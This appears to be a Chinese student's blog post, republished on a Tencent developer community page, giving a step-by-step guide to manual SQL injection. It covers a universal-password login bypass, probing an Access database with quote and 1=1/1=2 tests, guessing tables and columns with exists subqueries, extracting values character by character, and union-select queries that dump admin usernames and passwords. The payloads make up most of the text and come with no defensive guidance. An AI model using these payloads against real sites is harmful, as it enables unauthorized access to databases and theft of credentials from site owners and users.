首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

手工SQL注入语句构造

预计阅读4分钟

本文1488字13图

一提到SQL语句就想到了期末数据库考试的时候,那俩监考老师,哎,不说了,还好咱们数据库老师大发慈悲

昨天把去年学习的一些东西可以说重新复习了一边,又有了新的理解与感悟,记录如下:

2、万能密码的构造

i、首先了解到其后台查询SQL语句为【select user_id,user_type,emailfrom user where user_id='用户名'and '密码'】

ii、于是我们输入用户名【admin】和密码【2’or’1】时,脚本引擎构造SQL语句为【selectuser_id,user_type,email from user where user_id = 'admin' and '2' or '1'】

iii、由于SQL中【=】优先级高于【and】高于【or】,又因为布尔型【 or '1' 】恒成立,因此此式恒成立,因此成功进入后台界面

3、手工注入access数据库

i、判断是否存在SQL注入漏洞

输入【'】数据库出错,说明【'】被提交至了数据库进行解析

接着输入【and 1=1 】页面正常显示,输入【and 1=2 】页面报错,说明存在SQL注入漏洞

ii、知道存在SQL注入漏洞后就可以通过构造SQL查询语句判断后台数据库中存在的表、列、字段了

输入【and exists (select * from admin)】若正常显示,说明存在admin表

输入【and exists (select admin from admin)】若正常显示,说明存在admin列,同理,可以判断出来后台数据库中存在的表、列

输入【and (select top 1 len(admin) from admin)=5】若正常显示,说明admin表中admin列中第一个字段存在5个字符

输入【and(select top 1 asc(mid(admin,1,1)) from admin)=97】若正常显示,说明amdin表中admin列中第一个字段的第一个字目的ascii码为97,即这个字母为a.

同理,就可以得到后台数据库中存储的表、列、字段数据

iii、当然也可以直接使用现成的工具,比如这个:

4、手工联合查询注入

i、输入【order by 12】判断列中字段数量是否等于或小于12个字段,不断更改order by 后面的数字,判断出后台列中字段的数量

ii、输入【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】联合查询爆出后台数据库中存在的字段名

iii、此时输入【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即看到了admin表中测试列中的字段数据

—— 完 ——

本人菜鸟一枚,难免有疏漏之处,还望大佬勿喷

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180707B0UP1O00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券